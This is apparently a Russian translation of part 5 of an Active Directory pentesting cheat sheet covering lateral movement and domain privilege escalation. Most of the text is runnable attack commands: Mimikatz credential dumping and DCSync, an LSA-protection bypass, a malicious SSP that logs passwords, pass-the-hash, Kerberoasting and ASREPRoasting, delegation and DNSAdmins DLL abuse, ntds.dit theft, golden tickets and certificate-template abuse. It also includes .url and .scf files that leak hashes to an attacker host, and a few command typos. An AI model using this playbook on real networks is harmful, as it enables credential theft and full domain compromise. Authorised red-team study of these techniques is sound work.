June 14

Pentesting Active Directory: эскалация привилегий (PART 5)

PART 4

Введение

Оказавшись в сети, противник будет стремиться повысить свои привилегии и скомпрометировать другие системы, чтобы найти конфиденциальные данные или получить доступ к другим критическим ресурсам. Они также хотят сохранить свой доступ. Для этого они могут создавать новые учетные записи пользователей, изменять настройки или даже устанавливать бэкдоры.

Именно здесь в игру вступают пути атаки. Используя путь атаки, злоумышленник может повысить свои привилегии с обычного пользователя до администратора и даже до администратора домена, что дает ему неограниченную власть в домене.

Более того, компрометируя учетные записи авторизованных пользователей и администраторов, злоумышленники могут сделать свою деятельность труднозаметной. А получив достаточные привилегии, они могут и дальше уклоняться от обнаружения, заставляя системы выдавать ложные сообщения о том, что все работает нормально.

Горизонтальное перемещение

PowerShell Remoting

#Enable PowerShell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>

Удаленное выполнение кода с использованием учетных данных PS

$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

Импорт модуля PowerShell и удаленное выполнение его функций

#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess

#Interact with the session
Enter-PSSession -Session $sess

Выполнение команд Remote Stateful

#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz

#Команды в формате cobalt strike!

#Дамп LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#Сохраните в памяти все доступные билеты kerberos
mimikatz sekurlsa::tickets

#Дамп учетных данных служб локальных терминалов
mimikatz sekurlsa::tspkg

#Дамп и сохранение LSASS в файл
mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#Список кэшированных главных ключей
mimikatz sekurlsa::dpapi

#Список локальных ключей Kerberos AES
mimikatz sekurlsa::ekeys

#Дамп SAM Database
mimikatz lsadump::sam

#Дамп SECRETS Database
mimikatz lsadump::secrets

#Дамп учетных данных контроллера домена
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Дамп учетных данных домена, не касаясь LSASS контроллера домена, а также удаленние
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#Дамп старых паролей и NTLM хешей
mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history

#Список и дамп локальных учетных данных kerberos
mimikatz kerberos::list /dump

#Передача билета
mimikatz kerberos::ptt <PathToKirbiFile>

#Список сеансов TS/RDP
mimikatz ts::sessions

#Список учетных данных хранилища
mimikatz vault::list
  • LSA как защищенный процесс (обход ядра)
#Проверьте, запускается ли LSA как защищенный процесс, посмотрев, установлена ли переменная "RunAsPPL" в значение 0x1.
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

#Затем загрузите файл mimidriver.sys из официального репозитория mimikatz в ту же папку, где находится ваш mimikatz.exe
#Теперь импортируем файл mimidriver.sys в систему.
mimikatz # !+

#Теперь давайте удалим флаги защиты из процесса lsass.exe
mimikatz # !processprotect /process:lsass.exe /remove

#Наконец, запустите функцию logonpasswords для создания дампа lsass
mimikatz # sekurlsa::logonpasswords
  • LSA как защищенный процесс (обход "безфайлового" пользовательского интерфейса)

https://github.com/itm4n/PPLdump

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland

  • LSA работает как виртуализированный процесс (LSAISO) под управлением Credential Guard
#Проверьте, существует ли процесс под названием lsaiso.exe в запущенных процессах.
tasklist |findstr lsaiso

#Если это произойдет, то не будет возможности сделать дамп lsass, мы получим только зашифрованные данные. Но мы все равно можем использовать кейлоггеры или дамперы буфера обмена для перехвата данных.
#Давайте внедрим в память наш собственный вредоносный поставщик поддержки безопасности, для этого примера я использую тот, который предоставляет mimikatz
mimikatz # misc::memssp

#Теперь каждый сеанс пользователя и аутентификация на этой машине будут регистрироваться, а учетные данные в открытом виде будут перехватываться и сбрасываться в файл c:\windows\system32\mimilsa.log

https://adsecurity.org/?page_id=1821

https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a

Протокол удаленного рабочего стола

Если на хосте, на который мы хотим выполнить горизонтальное перемещение, включен режим "RestrictedAdmin", мы можем передать хэш по протоколу RDP и получить интерактивную сессию без пароля в открытом виде.

  • Mimikatz
#Мы выполняем pass-the-hash с помощью mimikatz и порождаем экземпляр mstsc.exe с флагом "/restrictedadmin".
privilege::debug
sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash> /run:"mstsc.exe /restrictedadmin"

#Затем просто нажмите OK в диалоге RDP и наслаждайтесь интерактивной сессией в качестве пользователя, за которого мы себя выдали.
  • xFreeRDP
xfreerdp  +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8  /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress>

Если режим Restricted Admin отключен на удаленной машине, мы можем подключиться к хосту с помощью другого инструмента/протокола, например psexec или winrm, и включить его, создав следующий ключ реестра и установив для него нулевое значение: "HKLM:

\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin

Атаки на файлы URL

  • .url file
  [InternetShortcut]
  URL=whatever
  WorkingDirectory=whatever
  IconFile=\\<AttackersIp>\%USERNAME%.icon
  IconIndex=1
  [InternetShortcut]
  URL=file://<AttackersIp>/leak/leak.html
  • .scf file
  [Shell]
  Command=2
  IconFile=\\<AttackersIp>\Share\test.ico
  [Taskbar]
  Command=ToggleDesktop

Поместив эти файлы в общий ресурс, доступный для записи, жертве достаточно открыть проводник файлов и перейти к ресурсу. Обратите внимание, что файл не обязательно должен быть открыт или пользователь должен взаимодействовать с ним, но он должен находиться в верхней части файловой системы или просто быть видимым в окне проводника windows, чтобы быть отображенным. Используйте responder для перехвата хэшей.

Полезные инструменты

  • Powercat netcat написан на языке powershell и предоставляет возможности туннелирования, ретрансляции и переадресации портов.
    возможности.
  • SCShell бесфайловый инструмент бокового перемещения, который полагается на ChangeServiceConfigA для выполнения команды
  • Evil-Winrm - лучшая оболочка WinRM для хакинга/пентестинга.
  • RunasCs Csharp и открытая версия встроенного в windows runas.exe
  • ntlm_theft создает все возможные форматы файлов для атак на url-файлы

Повышение привилегий домена

Kerberoast

Все стандартные пользователи домена могут запросить копию всех учетных записей служб вместе с соответствующими хэшами паролей, поэтому мы можем запросить у TGS любой SPN, привязанный к учетной записи "user".
учетной записи, извлечь зашифрованный блоб, который был зашифрован с помощью пароля пользователя, и перебрать его в автономном режиме.

  • PowerView
  #Получение учетных записей пользователей, которые используются в качестве учетных записей служб
  Get-NetUser -SPN

  #Получите все доступные учетные записи SPN, запросите TGS и сбросьте его хэш.
  Invoke-Kerberoast

  #Запрос TGS для одного тикета:
  Request-SPNTicket

  #Экспорт всех тикетов с помощью Mimikatz
  Invoke-Mimikatz -Command '"kerberos::list /export"'
  • AD Module
  #Получение учетных записей пользователей, которые используются в качестве учетных записей служб
  Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  • Impacket
  python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName>
  • Rubeus
  #Kerberoasting и вывод в файл со специальным форматом
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>

  #Kerberoasting при этом является "OPSEC" безопасным, по сути, не пытаясь поджарить аккаунты с поддержкой AES.
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

  #Учетные записи с поддержкой Kerberoast AES
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes

  #Учетная запись конкретного пользователя Kerberoast
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple

  #Kerberoast, указав учетные данные для аутентификации
  Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>

ASREPRoast

Если учетная запись пользователя домена не требует предварительной аутентификации kerberos, мы можем запросить действительный TGT для этой учетной записи, даже не имея учетных данных домена, извлечь зашифрованный
и перебрать его в автономном режиме.

  • PowerView: Get-DomainUser -PreauthNotRequired -Verbose
  • AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Принудительное отключение Kerberos Preauth на аккаунте, у которого есть права на запись или больше!
Проверьте наличие интересных разрешений для учетных записей:

Подсказка: мы добавляем фильтр, например, RDPUsers, чтобы получить "учетные записи пользователей", а не учетные записи машин, потому что хэши учетных записей машин не взламываются!

PowerView:

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose

И, наконец, выполните атаку с помощью инструмента ASREPRoast:

  #Получение хэша для аккаунтов:
  Get-ASREPHash -UserName <UserName> -Verbose
  
  #Получите хэши всех пользователей ASREPRoastable:
  Invoke-ASREPRoast -Verbose

Использование Rubeus:

  #Пробуем атаку для всех пользователей домена
  Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

  #ASREPRoast специфические пользователи
  Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
  
  #ASREPRoast пользователи конкретной OU (Organization Unit)
  Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

Использование Impacket:

  #Атака для указанных пользователей в файле
  python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>

Атака с распылением пароля

Если мы собрали несколько паролей, скомпрометировав учетную запись пользователя, мы можем использовать этот метод, чтобы попытаться использовать повторное использование паролей
на других учетных записях домена.

Инструменты:

SPN

Если у нас достаточно прав -> GenericAll/GenericWrite, мы можем установить SPN на целевой учетной записи, запросить TGS, затем взять ее блоб и перебрать его.

PowerView:

  #Проверьте наличие интересных разрешений на учетных записях:
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

  #Проверьте, задан ли уже SPN для текущего пользователя:
  Get-DomainUser -Identity <UserName> | select serviceprincipalname

  #Принудительно установите SPN для учетной записи:
  Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}

AD Module:

  #Проверьте, есть ли у текущего пользователя уже заданный SPN
  Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName

  #Принудительно установите SPN для учетной записи:
  Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}

Наконец, используйте любой инструмент из тех, что были ранее, чтобы захватить хэш и керберизовать его.

Использование теневых копий

Если у вас есть доступ локального администратора к машине, попробуйте перечислить теневые копии, это простой способ эскалации домена.

#Список теневых копий с помощью vssadmin (требуется доступ администратора)
vssadmin list shadows

#Список теневых копий с помощью diskshadow
diskshadow list shadows all

#Создайте симлинк на теневую копию и получите к ней доступ
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
  1. Вы можете сбросить резервную копию базы данных SAM и собрать учетные данные.
  2. Найти хранящиеся в DPAPI учетные данные и расшифровать их.
  3. Получить доступ к резервным конфиденциальным файлам.

Список и расшифровка сохраненных учетных данных с помощью Mimikatz

Обычно зашифрованные учетные данные хранятся в:

  • %appdata%\Microsoft\Credentials
  • %localappdata%\Microsoft\Credentials
#Используя функцию cred из mimikatz, мы можем перечислить объект cred и получить информацию о нем:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#Из предыдущей команды нас интересует параметр "guidMasterKey", который сообщает нам, какой мастер-ключ был использован для шифрования учетных данных
#Перечислим мастер-ключи:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Теперь, если мы находимся в контексте пользователя (или системы), которому принадлежит учетная запись, мы можем использовать флаг /rpc для передачи расшифровки мастер-ключа контроллеру домена:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#Теперь у нас есть мастер-ключ в локальном кэше:
dpapi::cache

#Наконец, мы можем расшифровать учетные данные, используя кэшированный мастер-ключ:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Неограниченное делегирование

Если у нас есть административный доступ на машине, на которой включено неограниченное делегирование, мы можем дождаться, когда
когда к ней подключится ценная цель или DA, украсть его TGT, затем ptt и выдать себя за него!

PowerView:

#Обнаружение компьютеров, подключенных к домену, у которых включено неограниченное делегирование
Get-NetComputer -UnConstrained

#Список билетов и проверка, сохранил ли DA или какая-либо цель с высокой стоимостью свой TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Команда для отслеживания всех входящих сессий на нашем взломанном сервере
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
<WaitInterval> -Verbose

#Дамп билетов на диск:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Выдать себя за пользователя с помощью ptt-атаки:
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'

Примечание: Мы также можем использовать Рубеуса!

Ограниченное делегирование

Использование PowerView и Kekeo:

#Перечисление пользователей и компьютеров с ограниченным делегированием
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#Если у нас есть пользователь с ограниченным делегированием, мы запрашиваем действительный tgt этого пользователя с помощью kekeo
tgt::ask /user:<UserName> /domain:<Domain^s FQDN> /rc4:<hashedPasswordOfTheUser>

#Затем, используя TGT, мы запрашиваем у TGS услугу, к которой этот пользователь имеет доступ через ограниченное делегирование.
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#В конце концов, используйте mimikatz, чтобы получить TGS.
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

АЛЬТЕРНАТИВА:

Используя Rubeus:

Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt

Теперь мы можем получить доступ к сервису как имперсонифицированный пользователь!

В этом случае мы все равно можем воспользоваться функцией kerberos под названием "альтернативная служба". Она позволяет нам запрашивать билеты TGS для других "альтернативных" сервисов, а не только для того, на который у нас есть права. Это дает нам возможность запрашивать действительные билеты для любой службы, которую поддерживает хост, предоставляя нам полный доступ к целевой машине.

Ограниченное делегирование на основе ресурсов

Если у нас есть привилегии GenericALL/GenericWrite на объект учетной записи машины в домене, мы можем злоупотреблять ими и выдавать себя за любого пользователя домена. Например, мы можем выдать себя за администратора домена и получить полный доступ.

Инструменты:

Сначала нам нужно ввести контекст безопасности учетной записи пользователя/машины, имеющей привилегии на объект.

Если это учетная запись пользователя, мы можем использовать Pass the Hash, RDP, PSCredentials и т. д.

Пример эксплуатации:

#Импортируйте Powermad и используйте его для создания новой учетной записи MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Импорт PowerView и получение SID учетной записи нашей новой созданной машины
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Затем, используя SID, мы создадим ACE для новой созданной учетной записи машины, используя необработанный дескриптор безопасности:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Далее нам нужно установить дескриптор безопасности в поле msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи компьютера, которую мы берем на себя, опять же с помощью PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#После этого нам нужно получить RC4-хэш пароля новой учетной записи машины с помощью Rubeus
Rubeus.exe hash /password:'p@ssword!'

#Для этого примера мы собираемся выдать себя за администратора домена на службе cifs целевого компьютера с помощью Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Наконец-то мы можем получить доступ к диску C$ целевой машины.
dir \\TargetMachine.wtver.domain\C$

В Constrain и Resource-Based Constrained Delegation, если у нас нет пароля/хэша учетной записи с TRUSTED_TO_AUTH_FOR_DELEGATION, которой мы пытаемся злоупотребить, мы можем использовать очень хороший трюк "tgt::deleg" из kekeo или "tgtdeleg" из rubeus и обмануть Kerberos, чтобы он выдал нам действительный TGT для этой учетной записи. Затем мы просто используем билет вместо хэша учетной записи для выполнения атаки.

#Команда для Rubeus
Rubeus.exe tgtdeleg /nowrap

Абуз DNSAdmins

Если пользователь входит в группу DNSAdmins, он может загрузить произвольную DLL с привилегиями dns.exe, которая запускается от имени SYSTEM. В случае если DC обслуживает DNS, пользователь может повысить свои привилегии до DA. Этот процесс эксплуатации требует привилегий для перезапуска службы DNS.

1. Перечислите членов группы DNSAdmins:

  • PowerView: Get-NetGroupMember -GroupName "DNSAdmins"
  • AD Module: Get-ADGroupMember -Identiny DNSAdmins

2. Как только мы нашли члена этой группы, нам нужно скомпрометировать его (есть много способов).

3. Затем, разместив вредоносную DLL на SMB-рассылке и настроив использование dll, мы можем повысить свои привилегии:

   #Использование dnscmd:
   dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll

   #Перезапустите службу DNS:
   sc \\DNSServer stop dns
   sc \\DNSServer start dns

Абуз DNS с интеграцией в Active Directory

Абуз Backup Operators Group (группой резервных операторов)

Если нам удастся скомпрометировать учетную запись пользователя, входящего в группу Backup Operators, то мы сможем воспользоваться ее привилегией SeBackupPrivilege для создания теневой копии текущего состояния DC,
извлечь файл базы данных ntds.dit, сделать дамп хэшей и повысить наши привилегии до DA.

1. Получив доступ к учетной записи с привилегией SeBackupPrivilege, мы можем получить доступ к DC и создать теневую копию с помощью подписанного двоичного диска diskshadow:

   #Создайте файл .txt, который будет содержать сценарий процесса теневого копирования
   Script ->{
   set context persistent nowriters
   set metadata c:\windows\system32\spool\drivers\color\example.cab
   set verbose on
   begin backup
   add volume c: alias mydrive

   create

   expose %mydrive% w:
   end backup
   }

   #Выполните diskshadow с нашим скриптом в качестве параметра
   diskshadow /s script.txt

2. Далее нам нужно получить доступ к теневой копии, у нас может быть привилегия SeBackupPrivilege, но мы не можем просто скопировать-вставить ntds.dit, нам нужно подражать программе резервного копирования и использовать вызовы Win32 API для копирования в доступную папку. Для этого мы воспользуемся этим замечательным инструментом:

   #Импорт обеих dll из репозитория с помощью powershell
   Import-Module .\SeBackupPrivilegeCmdLets.dll
   Import-Module .\SeBackupPrivilegeUtils.dll

   #Проверка, включена ли привилегия SeBackupPrivilege
   Get-SeBackupPrivilege

   #Если это не так, мы сделаем это
   Set-SeBackupPrivilege

   #Используем функциональность dlls для копирования файла базы данных ntds.dit из теневой копии в выбранное нами место
   Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite

   #Dump the SYSTEM hive
   reg save HKLM\SYSTEM c:\temp\system.hive

3. С помощью smbclient.py из impacket или другого инструмента мы копируем ntds.dit и улей SYSTEM на нашу локальную машину.

4. Используйте файл secretsdump.py из impacket и сбросьте хэши.

5. Используйте psexec или другой инструмент по вашему выбору для PTH и получения доступа администратора домена.

Абуз Exchange

Баг принтера, превращающая принтер в оружие

Абуз ACLs

Абуз IPv6 используя mitm6

Абуз истории SID

Если нам удастся скомпрометировать дочерний домен леса, а фильтрация SID не включена (в большинстве случаев не включена), мы сможем воспользоваться этим для повышения привилегий до администратора домена корневого домена леса. Это возможно благодаря полю SID History в билете kerberos TGT, которое определяет "дополнительные" группы безопасности и привилегии.

Пример эксплуатации:

#Получение SID текущего домена с помощью PowerView
Get-DomainSID -Domain current.root.domain.local

#Получение SID корневого домена с помощью PowerView
Get-DomainSID -Domain root.domain.local

#Создайте идентификатор Enteprise Admins SID
Format: RootDomainSID-519

#Получить "Дополнительный" золотой билет, используя mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Введите билет в память
kerberos::ptt \path\to\ticket\golden.kirbi

#Список DC корневого домена
dir \\dc.root.domain.local\C$

#Или DCsync и сброс хэшей с помощью mimikatz
lsadump::dcsync /domain:root.domain.local /all

Эксплуатация SharePoint

Zerologon

PrintNightmare

Службы сертификации Active Directory

Проверка уязвимых шаблонов сертификатов с помощью: Certify

Certify можно выполнить и с помощью команды execute-assembly в Cobalt Strike.

.\Certify.exe find /vulnerable /quiet

Убедитесь, что значение msPKI-Certificates-Name-Flag установлено на "ENROLLEE_SUPPLIES_SUBJECT" и что права регистрации разрешают Домен/Аутентифицированные пользователи. Кроме того, убедитесь, что параметр pkiextendedkeyusage содержит значение "Client Authentication", а также что параметр "Authorized Signatures Required" установлен в 0.

Этот эксплойт работает только потому, что эти настройки включают аутентификацию сервера/клиента, то есть злоумышленник может указать UPN администратора домена ("DA") и использовать захваченный сертификат с помощью Rubeus для подделки аутентификации.

Примечание: Если администратор домена входит в группу защищенных пользователей, эксплойт может не сработать. Проверьте, прежде чем выбрать DA для атаки.

Запросите сертификат учетной записи DA с помощью Certify

.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine

Это должно вернуть действительный сертификат для связанной учетной записи DA.

Экспортированные файлы cert.pem и cert.key должны быть объединены в один файл cert.pem, с одним пробелом между END RSA PRIVATE KEY и BEGIN CERTIFICATE.

Пример файла cert.pem:

-----BEGIN RSA PRIVATE KEY-----
BIIEogIBAAk15x0ID[...]
[...]
[...]
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
BIIEogIBOmgAwIbSe[...]
[...]
[...]
-----END CERTIFICATE-----

Используйте openssl для преобразования в формат PKCS #12

Команда openssl может быть использована для преобразования файла сертификата в формат PKCS #12 (вам может потребоваться ввести пароль экспорта, который может быть любым).

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

После того как файл cert.pfx будет экспортирован, загрузите его на взломанный хост (это можно сделать различными способами, например с помощью Powershell, SMB, certutil.exe, функции загрузки Cobalt Strike и т. д.).

После загрузки файла cert.pfx на скомпрометированный хост можно использовать Rubeus для запроса Kerberos TGT для учетной записи DA, который затем будет импортирован в память.

.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt

В результате должен получиться успешно импортированный билет, который позволит злоумышленнику выполнить различные вредоносные действия в контексте пользователя DA, например, провести атаку DCSync.

Оригинальная статья | Перевод: THREAD